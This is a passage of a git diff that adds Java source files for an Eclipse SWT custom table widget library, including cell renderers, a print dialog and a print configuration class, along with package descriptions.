* + * @return index of the row + */ + public int getIndex() { + return _index; + } + + /** + * {@inheritDoc} Equals based on the index of the row. + */ + public boolean equals(Object obj) { + if (obj == null) { + return false; + } + if (obj instanceof SimpleRow) { + SimpleRow r = (SimpleRow) obj; + return _index == r.getIndex(); + } else { + return false; + } + } + + /** + * {@inheritDoc} hashcode based on the index of the column. + */ + public int hashCode() { + return _index; + } + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/simple/package.html b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/simple/package.html new file mode 100644 index 0000000..dcfbc8d --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/simple/package.html @@ -0,0 +1,8 @@ + +

    +This package contains a very simple table model for instant usage. +

    +

    + +

    + \ No newline at end of file diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/package.html b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/package.html new file mode 100644 index 0000000..f3ac41c --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/package.html @@ -0,0 +1,31 @@ + +

    +This package contains a flexible custom drawn table widget. +

    +

    +Some features: +

      +
    • resizable rows and columns
    • +
    • renderers and editors for full customization
    • +
    • model informs table for redrawing - no stale data on screen
    • +
    • viewstate and tablel are separated
    • +
    • supports hierarchical model -> table tree
    • +
    • supports fixing of rows (additional header rows)
    • +
    • supports fixing of columns (row headers)
    • +
    • includes support for sorting
    • +
    • includes a simple "autofilter"
    • +
    • smooth scrolling
    • +
    +

    +

    +Drawbacks: +

      +
    • no virtual mode - do not use table models with thousands of rows
    • +
    • not native
    • +
    • some listeners ...
    • +
    +

    +

    +THIS IS WORK IN PROGRESS! +

    + \ No newline at end of file diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/print/JaretTablePrintConfiguration.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/print/JaretTablePrintConfiguration.java new file mode 100644 index 0000000..2c3087f --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/print/JaretTablePrintConfiguration.java @@ -0,0 +1,121 @@ +/* + * File: JaretTablePrintConfiguration.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.print; + +/** + * Simple structure to control the printing using the JaretTablePrinter. + * + * @author Peter Kliem + * @version $Id: JaretTablePrintConfiguration.java,v 1.1 2012-05-07 01:34:39 jason Exp $ + */ +public class JaretTablePrintConfiguration { + protected boolean _repeatHeader; + protected double _scale; + protected String _name; + protected String _footerText; + protected int _rowLimit = -1; + protected int _colLimit = -1; + + public JaretTablePrintConfiguration(String name, boolean repeatHeader, double scale) { + _name = name; + _repeatHeader = repeatHeader; + _scale = scale; + } + + public JaretTablePrintConfiguration() { + this("Table", false, 1.0); + } + + /** + * @return Returns the name. + */ + public String getName() { + return _name; + } + + /** + * @param name The name to set. + */ + public void setName(String name) { + _name = name; + } + + /** + * @return Returns the repeatHeader. + */ + public boolean getRepeatHeader() { + return _repeatHeader; + } + + /** + * @param repeatHeader The repeatHeader to set. + */ + public void setRepeatHeader(boolean repeatHeader) { + _repeatHeader = repeatHeader; + } + + /** + * @return Returns the scale. + */ + public double getScale() { + return _scale; + } + + /** + * @param scale The scale to set. + */ + public void setScale(double scale) { + _scale = scale; + } + + /** + * @return Returns the footerText. + */ + public String getFooterText() { + return _footerText; + } + + /** + * @param footerText The footerText to set. + */ + public void setFooterText(String footerText) { + _footerText = footerText; + } + + /** + * @return Returns the colLimit. + */ + public int getColLimit() { + return _colLimit; + } + + /** + * @param colLimit The colLimit to set. + */ + public void setColLimit(int colLimit) { + _colLimit = colLimit; + } + + /** + * @return Returns the rowLimit. + */ + public int getRowLimit() { + return _rowLimit; + } + + /** + * @param rowLimit The rowLimit to set. + */ + public void setRowLimit(int rowLimit) { + _rowLimit = rowLimit; + } + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/print/JaretTablePrintDialog.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/print/JaretTablePrintDialog.java new file mode 100644 index 0000000..bf4d16c --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/print/JaretTablePrintDialog.java @@ -0,0 +1,241 @@ +/* + * File: JaretTablePrintDialog.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.print; + +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.swt.SWT; +import org.eclipse.swt.custom.CCombo; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.events.SelectionListener; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.layout.RowLayout; +import org.eclipse.swt.printing.PrintDialog; +import org.eclipse.swt.printing.Printer; +import org.eclipse.swt.printing.PrinterData; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Scale; +import org.eclipse.swt.widgets.Shell; + +import de.jaret.util.ui.table.JaretTablePrinter; + +/** + * Simple print dialog for a jaret table. + * + * @author Peter Kliem + * @version $Id: JaretTablePrintDialog.java,v 1.1 2012-05-07 01:34:39 jason Exp $ + */ +public class JaretTablePrintDialog extends Dialog { + protected static PrinterData _printerData; + protected int _pIdx = -1; + protected String[] _printers; + protected PrinterData[] _pdatas; + protected CCombo _printerCombo; + protected JaretTablePrintConfiguration _configuration; + protected Button _repeatHeader; + protected Label _pagesLabel; + protected JaretTablePrinter _tablePrinter; + + public JaretTablePrintDialog(Shell parentShell, String printerName, JaretTablePrinter tablePrinter, + JaretTablePrintConfiguration printConfiguration) { + super(parentShell); + _tablePrinter = tablePrinter; + _configuration = printConfiguration; + if (_configuration == null) { + _configuration = new JaretTablePrintConfiguration("table", false, 1.0); + } + if (printerName == null && _printerData != null) { + printerName = _printerData.name; + } + + _pdatas = Printer.getPrinterList(); + _printers = new String[_pdatas.length]; + int stdIdx = -1; + for (int i = 0; i < _pdatas.length; i++) { + PrinterData pd = _pdatas[i]; + _printers[i] = pd.name; + if (printerName != null && pd.name.equals(printerName)) { + _pIdx = i; + } + if (pd.name.equals(Printer.getDefaultPrinterData().name)) { + stdIdx = i; + } + } + if (_pIdx == -1) { + _printerData = Printer.getDefaultPrinterData(); + _pIdx = stdIdx; + } else { + _printerData = _pdatas[_pIdx]; + } + } + + public void setRowLimit(int limit) { + _configuration.setRowLimit(limit); + } + + public void setColLimit(int limit) { + _configuration.setColLimit(limit); + } + + public JaretTablePrintConfiguration getConfiguration() { + return _configuration; + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText("Print"); + } + + @Override + protected Control createDialogArea(Composite parent) { + Composite dialogArea = new Composite(parent, SWT.NULL); + // dialogArea.setBackground(Display.getCurrent().getSystemColor(SWT.COLOR_YELLOW)); + GridData gd1 = new GridData(GridData.FILL_BOTH); + dialogArea.setLayoutData(gd1); + GridLayout gl = new GridLayout(); + gl.numColumns = 1; + dialogArea.setLayout(gl); + + createPrinterSelection(dialogArea); + + Composite parameterArea = new Composite(dialogArea, SWT.NULL); + GridData gd = new GridData(GridData.FILL_BOTH); + parameterArea.setLayoutData(gd); + createParameterArea(parameterArea); + return dialogArea; + } + + @Override + protected void okPressed() { + _printerData = _pdatas[_printerCombo.getSelectionIndex()]; + super.okPressed(); + } + + private void createPrinterSelection(Composite parent) { + Composite area = new Composite(parent, SWT.NULL); + area.setLayout(new RowLayout()); + // area.setBackground(Display.getCurrent().getSystemColor(SWT.COLOR_RED)); + + _printerCombo = new CCombo(area, SWT.BORDER | SWT.READ_ONLY); + _printerCombo.setItems(_printers); + _printerCombo.select(_pIdx); + + Button select = new Button(area, SWT.PUSH); + select.setText("Configure"); + select.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + PrintDialog pd = new PrintDialog(Display.getCurrent().getActiveShell()); + PrinterData pdata = pd.open(); + if (pdata != null) { + _printerData = pdata; + select(_printerData); + } + } + + private void select(PrinterData printerData) { + for (int i = 0; i < _pdatas.length; i++) { + PrinterData pd = _pdatas[i]; + if (pd.name.equals(printerData.name)) { + _printerCombo.select(i); + break; + } + } + + } + + public void widgetDefaultSelected(SelectionEvent e) { + } + + }); + + } + + protected void createParameterArea(Composite parent) { + GridLayout gl = new GridLayout(); + gl.numColumns = 2; + parent.setLayout(gl); + + _repeatHeader = new Button(parent, SWT.CHECK); + _repeatHeader.setSelection(_configuration.getRepeatHeader()); + _repeatHeader.setText("Repeat header"); + GridData gd = new GridData(GridData.FILL_HORIZONTAL); + gd.horizontalSpan = 2; + _repeatHeader.setLayoutData(gd); + + final Label scaleText = new Label(parent, SWT.RIGHT); + scaleText.setText(getScaleText()); + gd = new GridData(GridData.FILL_HORIZONTAL); + gd.horizontalSpan = 2; + scaleText.setLayoutData(gd); + + final Scale scale = new Scale(parent, SWT.HORIZONTAL); + gd = new GridData(GridData.FILL_HORIZONTAL); + gd.horizontalSpan = 2; + scale.setLayoutData(gd); + scale.setMaximum(1000); + scale.setMinimum(10); + scale.setSelection((int) (_configuration.getScale() * 100)); + scale.addSelectionListener(new SelectionListener() { + public void widgetSelected(SelectionEvent ev) { + int val = scale.getSelection(); + double s = (double) val / 100.0; + _configuration.setScale(s); + scaleText.setText(getScaleText()); + updateConf(); + } + + public void widgetDefaultSelected(SelectionEvent arg0) { + } + }); + + _pagesLabel = new Label(parent, SWT.RIGHT); + gd = new GridData(GridData.FILL_HORIZONTAL); + gd.horizontalSpan = 2; + _pagesLabel.setLayoutData(gd); + _printerData = _pdatas[_printerCombo.getSelectionIndex()]; + Printer printer = new Printer(_printerData); + _tablePrinter.setPrinter(printer); + Point pages = _tablePrinter.calculatePageCount(_configuration); + printer.dispose(); + _pagesLabel.setText(getPagesText(pages)); + + } + + private String getScaleText() { + int pc = (int) (_configuration.getScale() * 100); + return Integer.toString(pc) + "%"; + } + + private String getPagesText(Point pages) { + return "X: " + pages.x + " Y: " + pages.y + " (" + pages.x * pages.y + " pages)"; + } + + private void updateConf() { + _configuration.setRepeatHeader(_repeatHeader.getSelection()); + Printer printer = new Printer(_printerData); + _tablePrinter.setPrinter(printer); + Point pages = _tablePrinter.calculatePageCount(_configuration); + printer.dispose(); + _pagesLabel.setText(getPagesText(pages)); + } + + public PrinterData getPrinterData() { + return _printerData; + } + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/print/package.html b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/print/package.html new file mode 100644 index 0000000..9ea1d9c --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/print/package.html @@ -0,0 +1,5 @@ + + +This package contains some utilities for printing jaret tables. + + \ No newline at end of file diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/BarCellRenderer.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/BarCellRenderer.java new file mode 100644 index 0000000..f89fa67 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/BarCellRenderer.java @@ -0,0 +1,136 @@ +/* + * File: BarCellRenderer.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.renderer; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.printing.Printer; +import org.eclipse.swt.widgets.Display; + +import de.jaret.util.ui.table.JaretTable; +import de.jaret.util.ui.table.model.IColumn; +import de.jaret.util.ui.table.model.IRow; + +/** + * CellRenderer rendering bar according to the cell value that is expected to be of type Integer. Min and max can be + * configured. + * + * @author Peter Kliem + * @version $Id: BarCellRenderer.java,v 1.1 2012-05-07 01:34:38 jason Exp $ + */ +public class BarCellRenderer extends CellRendererBase implements ICellRenderer { + /** min value. */ + protected int _min = 0; + + /** max value. */ + protected int _max = 100; + + /** color for rendering. */ + protected Color _barColor; + + /** + * Constructor for BarCellRenderer. + * + * @param printer Printer or null + */ + public BarCellRenderer(Printer printer) { + super(printer); + if (printer != null) { + _barColor = printer.getSystemColor(SWT.COLOR_DARK_RED); + } + } + + /** + * Default constructor. + * + */ + public BarCellRenderer() { + super(null); + _barColor = Display.getCurrent().getSystemColor(SWT.COLOR_DARK_RED); + } + + /** + * @return Returns the max. + */ + public int getMax() { + return _max; + } + + /** + * @param max The max to set. + */ + public void setMax(int max) { + this._max = max; + } + + /** + * @return Returns the min. + */ + public int getMin() { + return _min; + } + + /** + * @param min The min to set. + */ + public void setMin(int min) { + this._min = min; + } + + /** + * {@inheritDoc} + */ + public void draw(GC gc, JaretTable jaretTable, ICellStyle cellStyle, Rectangle drawingArea, IRow row, + IColumn column, boolean drawFocus, boolean selected, boolean printing) { + drawBackground(gc, drawingArea, cellStyle, selected, printing); + Rectangle drect = drawBorder(gc, cellStyle, drawingArea, printing); + Rectangle rect = applyInsets(drect); + Object value = column.getValue(row); + if (value instanceof Integer) { + int val = ((Integer) value).intValue(); + double pixPer = (double) rect.width / (double) (_max - _min); + int correctedValue = val - _min; + int drawingWidth = (int) (correctedValue * pixPer); + + Color bg = gc.getBackground(); + gc.setBackground(_barColor); + gc.fillRectangle(rect.x, rect.y, drawingWidth, rect.height); + + gc.setBackground(bg); + } else { + // indicate error with red fill + Color bg = gc.getBackground(); + gc.setBackground(Display.getCurrent().getSystemColor(SWT.COLOR_RED)); + gc.fillRectangle(rect); + gc.setBackground(bg); + } + if (drawFocus) { + drawFocus(gc, drawingArea); + } + drawSelection(gc, drawingArea, cellStyle, selected, printing); + } + + /** + * {@inheritDoc} + */ + public void dispose() { + } + + /** + * {@inheritDoc} + */ + public ICellRenderer createPrintRenderer(Printer printer) { + return new BarCellRenderer(printer); + } + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/BooleanCellRenderer.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/BooleanCellRenderer.java new file mode 100644 index 0000000..05d6f24 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/BooleanCellRenderer.java @@ -0,0 +1,168 @@ +/* + * File: BooleanCellRenderer.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.renderer; + +import java.util.List; + +import org.eclipse.jface.resource.ImageDescriptor; +import org.eclipse.jface.resource.ImageRegistry; +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.printing.Printer; +import org.eclipse.swt.widgets.Display; + +import de.jaret.util.ui.ResourceImageDescriptor; +import de.jaret.util.ui.table.JaretTable; +import de.jaret.util.ui.table.model.IColumn; +import de.jaret.util.ui.table.model.IRow; + +/** + * CellRenderer rendering a Boolean to a checkbox image (default) or any other two images. + * + * @author Peter Kliem + * @version $Id: BooleanCellRenderer.java,v 1.1 2012-05-07 01:34:38 jason Exp $ + */ +public class BooleanCellRenderer extends CellRendererBase implements ICellRenderer { + /** rsc name for the checked state. */ + protected String _checkedRscName = "/de/jaret/util/ui/table/resource/checked.gif"; + /** default rsc name for the unchecked state. */ + protected String _uncheckedRscName = "/de/jaret/util/ui/table/resource/unchecked.gif"; + /** key for checked image in registry. */ + protected static final String CHECKED = "checked"; + /** key for unchecked image in registry. */ + protected static final String UNCHECKED = "unchecked"; + /** image registry for holding the images. */ + private ImageRegistry _imageRegistry; + + /** + * Construct a boolean cell renderer for a printer device using default resources. + * + * @param printer printer device + */ + public BooleanCellRenderer(Printer printer) { + super(printer); + } + + /** + * Construct a boolean cell renderer for the display using default resources. + */ + public BooleanCellRenderer() { + super(null); + } + + /** + * Construct a boolean cell renderer for a printer device providing resource names. + * + * @param printer printer device + * @param checkedRscName resource path for the checked image + * @param uncheckedRscName resource path for the unchecked image + */ + public BooleanCellRenderer(Printer printer, String checkedRscName, String uncheckedRscName) { + super(printer); + _checkedRscName = checkedRscName; + _uncheckedRscName = uncheckedRscName; + } + + /** + * Construct a boolean cell renderer for the display providing resource names. + * + * @param checkedRscName resource path for the checked image + * @param uncheckedRscName resource path for the unchecked image + */ + public BooleanCellRenderer(String checkedRscName, String uncheckedRscName) { + super(null); + _checkedRscName = checkedRscName; + _uncheckedRscName = uncheckedRscName; + } + + /** + * {@inheritDoc} + */ + public void draw(GC gc, JaretTable jaretTable, ICellStyle cellStyle, Rectangle drawingArea, IRow row, + IColumn column, boolean drawFocus, boolean selected, boolean printing) { + drawBackground(gc, drawingArea, cellStyle, selected, printing); + Rectangle drect = drawBorder(gc, cellStyle, drawingArea, printing); + Rectangle rect = applyInsets(drect); + Object value = column.getValue(row); + if (value instanceof Boolean) { + Image img = null; + if (((Boolean) value).booleanValue()) { + img = getImageRegistry().get(CHECKED); + } else { + img = getImageRegistry().get(UNCHECKED); + } + int x = rect.x + (rect.width - scaleX(img.getBounds().width)) / 2; + int y = rect.y + (rect.height - scaleY(img.getBounds().height)) / 2; + gc.drawImage(img, 0, 0, img.getBounds().width, img.getBounds().height, x, y, scaleX(img.getBounds().width), + scaleY(img.getBounds().height)); + } else { + // indicate error with red fill + Color bg = gc.getBackground(); + gc.setBackground(Display.getCurrent().getSystemColor(SWT.COLOR_MAGENTA)); + gc.fillRectangle(rect); + gc.setBackground(bg); + } + if (drawFocus) { + drawFocus(gc, drect); + } + drawSelection(gc, drawingArea, cellStyle, selected, printing); + } + + /** + * {@inheritDoc} + */ + public int getPreferredWidth(List rows, IColumn column) { + return getImageRegistry().get(CHECKED).getBounds().width; + } + + /** + * {@inheritDoc} + */ + public int getPreferredHeight(GC gc, ICellStyle cellStyle, int width, IRow row, IColumn column) { + return getImageRegistry().get(CHECKED).getBounds().height; + } + + /** + * Retrieve the image registry used by the renderer (lazy initializing). + * + * @return initialized image regsitry containing the resources + */ + private ImageRegistry getImageRegistry() { + if (_imageRegistry == null) { + _imageRegistry = new ImageRegistry(); + ImageDescriptor imgDesc = new ResourceImageDescriptor(_checkedRscName, this.getClass()); + _imageRegistry.put(CHECKED, imgDesc.createImage()); + imgDesc = new ResourceImageDescriptor(_uncheckedRscName, this.getClass()); + _imageRegistry.put(UNCHECKED, imgDesc.createImage()); + } + return _imageRegistry; + } + + /** + * {@inheritDoc} + */ + public void dispose() { + if (_imageRegistry != null) { + _imageRegistry.dispose(); + } + } + + /** + * {@inheritDoc} + */ + public ICellRenderer createPrintRenderer(Printer printer) { + return new BooleanCellRenderer(printer, _checkedRscName, _uncheckedRscName); + } + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/CellRendererBase.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/CellRendererBase.java new file mode 100644 index 0000000..2588c5f --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/CellRendererBase.java @@ -0,0 +1,321 @@ +/* + * File: CellRendererBase.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.renderer; + +import java.util.List; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.Device; +import org.eclipse.swt.graphics.Font; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.RGB; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.printing.Printer; +import org.eclipse.swt.widgets.Display; + +import de.jaret.util.swt.ColorManager; +import de.jaret.util.swt.FontManager; +import de.jaret.util.ui.table.JaretTable; +import de.jaret.util.ui.table.model.IColumn; +import de.jaret.util.ui.table.model.IRow; + +/** + * Base implementation for cell renderers that support both screen and printer rendering. This base implementation + * contains some useful methods so that it is highly recommended to base all renderer implementations on this base. + * + * @author Peter Kliem + * @version $Id: CellRendererBase.java,v 1.1 2012-05-07 01:34:38 jason Exp $ + */ +public abstract class CellRendererBase extends RendererBase implements ICellRenderer { + /** selection color for overlay (non printing only). */ + protected static final Color SELECTIONCOLOR = Display.getCurrent().getSystemColor(SWT.COLOR_GRAY); + + /** alpha value used when drawing default selection. */ + private static final int SELECTIONALPHA = 150; + + /** insets used when drawing the focus. */ + protected static final int FOCUSINSETS = 2; + + /** default background color. */ + protected static final RGB WHITERGB = new RGB(255, 255, 255); + /** default foreground color. */ + protected static final RGB BLACKRGB = new RGB(0, 0, 0); + + /** cell inset used by the convenience methods. */ + protected int _inset = 2; + + /** + * May be constructed without printer (supplying null). + * + * @param printer or null + */ + public CellRendererBase(Printer printer) { + super(printer); + } + + /** + * {@inheritDoc} Default implementation: no prferred width. + */ + public int getPreferredWidth(List rows, IColumn column) { + return -1; + } + + /** + * {@inheritDoc} Default implementation returning: no information. + */ + public int getPreferredHeight(GC gc, ICellStyle cellStyle, int width, IRow row, IColumn column) { + return -1; + } + + /** + * {@inheritDoc} Default: no tooltip. + */ + public String getTooltip(JaretTable jaretTable, Rectangle drawingArea, IRow row, IColumn column, int x, int y) { + return null; + } + + /** + * Target inner width (width - borders - insets). + * + * @param width width + * @param cellStyle cell style + * @return target inner width + */ + protected int getInnerWidth(int width, ICellStyle cellStyle) { + int sum = _inset * 2 + cellStyle.getBorderConfiguration().getBorderLeft() + + cellStyle.getBorderConfiguration().getBorderRight() - 1; + return width - sum; + } + + /** + * Calculate the sum of all vertical spaces that could be spplied. + * + * @param cellStyle cell style + * @return sum of all vertical spaces + */ + protected int getVerticalSpacesSum(ICellStyle cellStyle) { + return _inset * 2 + cellStyle.getBorderConfiguration().getBorderTop() + + cellStyle.getBorderConfiguration().getBorderBottom() - 1; + } + + /** + * Draw focus marking. Should be called with the corrected drawing area. + * + * @param gc GC + * @param drawingArea corrected drawing area + */ + protected void drawFocus(GC gc, Rectangle drawingArea) { + Color bg = gc.getBackground(); + Color fg = gc.getForeground(); + gc.setForeground(Display.getCurrent().getSystemColor(SWT.COLOR_BLACK)); + gc.drawFocus(drawingArea.x + FOCUSINSETS, drawingArea.y + FOCUSINSETS, drawingArea.width - 2 * FOCUSINSETS, + drawingArea.height - 2 * FOCUSINSETS - 1); +// gc.drawRectangle(drawingArea.x + 2, drawingArea.y + 2, drawingArea.width - 4, drawingArea.height - 3); + gc.setForeground(fg); + gc.setBackground(bg); + } + + /** + * Calculate the resulting rectangle after applying the insets. + * + * @param rect cell drawing area + * @return corrected rectangle + */ + protected Rectangle applyInsets(Rectangle rect) { + int d = _inset; + return new Rectangle(rect.x + d, rect.y + d, rect.width - 2 * d, rect.height - 2 * d); + } + + /** + * Draw the border for the cell according to the cell style. + * + * @param gc GC + * @param cellStyle th style + * @param drawingArea the drawing area of the cell + * @param printing true marks operation for a printer + * @return the corrected drawing area (the thickness of the border has been substracted) + */ + protected Rectangle drawBorder(GC gc, ICellStyle cellStyle, Rectangle drawingArea, boolean printing) { + IBorderConfiguration borderConfiguration = cellStyle.getBorderConfiguration(); + int x = drawingArea.x; + int y = drawingArea.y; + int width = drawingArea.width; + int height = drawingArea.height; + + Color fg = gc.getForeground(); + gc.setForeground(getBorderColor(cellStyle, printing)); + + int lineWidth = gc.getLineWidth(); + if (borderConfiguration.getBorderLeft() > 0) { + int lw = scaleX(borderConfiguration.getBorderLeft()); + gc.setLineWidth(lw); + gc.drawLine(drawingArea.x, drawingArea.y, drawingArea.x, drawingArea.y + drawingArea.height); + x += lw; + width -= lw; + } + if (borderConfiguration.getBorderRight() > 0) { + int lw = scaleX(borderConfiguration.getBorderRight()); + gc.setLineWidth(lw); + gc.drawLine(drawingArea.x + drawingArea.width, drawingArea.y, drawingArea.x + drawingArea.width, + drawingArea.y + drawingArea.height); + width -= lw; + } + if (borderConfiguration.getBorderTop() > 0) { + int lw = scaleY(borderConfiguration.getBorderTop()); + gc.setLineWidth(lw); + gc.drawLine(drawingArea.x, drawingArea.y, drawingArea.x + drawingArea.width - 1, drawingArea.y); + y += lw; + height -= lw; + } + if (borderConfiguration.getBorderBottom() > 0) { + int lw = scaleY(borderConfiguration.getBorderBottom()); + gc.setLineWidth(lw); + gc.drawLine(drawingArea.x, drawingArea.y + drawingArea.height, drawingArea.x + drawingArea.width, + drawingArea.y + drawingArea.height); + height -= lw; + } + gc.setLineWidth(lineWidth); + gc.setForeground(fg); + + return new Rectangle(x, y, width, height); + + } + + /** + * Draw the cell background. + * + * @param gc GC + * @param area cell drawing area + * @param style cell style + * @param selected true for selected + * @param printing true if printing + */ + protected void drawBackground(GC gc, Rectangle area, ICellStyle style, boolean selected, boolean printing) { + Color c = gc.getBackground(); + Color bg; + bg = getBackgroundColor(style, printing); + gc.setBackground(bg); + gc.fillRectangle(area); + gc.setBackground(c); + } + + /** + * Draws a cell selection by overlaying alpha blended area using SELECTIONCOLOR. + * + * @param gc GC + * @param area area of the cell + * @param style cellstyle + * @param selected true if selecetd + * @param printing true if printing - no selection will be drawn when printing + */ + protected void drawSelection(GC gc, Rectangle area, ICellStyle style, boolean selected, boolean printing) { + Color c = gc.getBackground(); + Color bg; + + if (selected && !printing) { + bg = SELECTIONCOLOR; + gc.setBackground(bg); + int alpha = gc.getAlpha(); + gc.setAlpha(SELECTIONALPHA); + gc.fillRectangle(area); + gc.setAlpha(alpha); + gc.setBackground(c); + } + } + + /** + * Draw a marker in upper left corner for indicating a cell comment. + * + * @param gc GC + * @param area drawing area + * @param color color of the marker + * @param size size of the marker + */ + protected void drawCommentMarker(GC gc, Rectangle area, Color color, int size) { + Color bg = gc.getBackground(); + gc.setBackground(color); + gc.fillRectangle(area.x + area.width - size, area.y, size, size); + gc.setBackground(bg); + } + + /** + * Check whether a position is in the area of the commetn marker. + * + * @param area drawing area of the cell + * @param size size of the marker + * @param x x coordinate to check + * @param y y coordinate to check + * @return true if the position is in the area of the marker + */ + protected boolean isInCommentMarkerArea(Rectangle area, int size, int x, int y) { + Rectangle r = new Rectangle(area.x + area.width - size, area.y, size, size); + return r.contains(x, y); + } + + /** + * Get the background color according to a cell style. + * + * @param style cell style + * @param printing true for printing + * @return the color + */ + protected Color getBackgroundColor(ICellStyle style, boolean printing) { + Device device = printing ? _printer : Display.getCurrent(); + ColorManager cm = ColorManager.getColorManager(device); + Color bg = cm.getColor(style.getBackgroundColor() != null ? style.getBackgroundColor() : WHITERGB); + return bg; + } + + /** + * Get the foreground color according to the cell style. + * + * @param style cell style + * @param printing true for printing + * @return the foreground color + */ + protected Color getForegroundColor(ICellStyle style, boolean printing) { + Device device = printing ? _printer : Display.getCurrent(); + ColorManager cm = ColorManager.getColorManager(device); + Color bg = cm.getColor(style.getForegroundColor() != null ? style.getForegroundColor() : BLACKRGB); + return bg; + } + + /** + * Get the border color according to the cell style. + * + * @param style cell style + * @param printing true for printing + * @return the border color + */ + protected Color getBorderColor(ICellStyle style, boolean printing) { + Device device = printing ? _printer : Display.getCurrent(); + ColorManager cm = ColorManager.getColorManager(device); + Color bg = cm.getColor(style.getBorderColor() != null ? style.getBorderColor() : new RGB(0, 0, 0)); + return bg; + } + + /** + * Retrieve the font accrding to the cell style. + * + * @param style cell style + * @param printing true for printing + * @param defaultFont a default font used if no font can be retrieved + * @return font according to style or default font + */ + protected Font getFont(ICellStyle style, boolean printing, Font defaultFont) { + Device device = printing ? _printer : Display.getCurrent(); + FontManager fm = FontManager.getFontManager(device); + Font f = style.getFont() != null ? fm.getFont(style.getFont()) : defaultFont; + return f; + } + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/ClassImageRenderer.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/ClassImageRenderer.java new file mode 100644 index 0000000..401b40d --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/ClassImageRenderer.java @@ -0,0 +1,184 @@ +/* + * File: ClassImageRenderer.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.renderer; + +import java.util.HashMap; +import java.util.List; +import java.util.Map; + 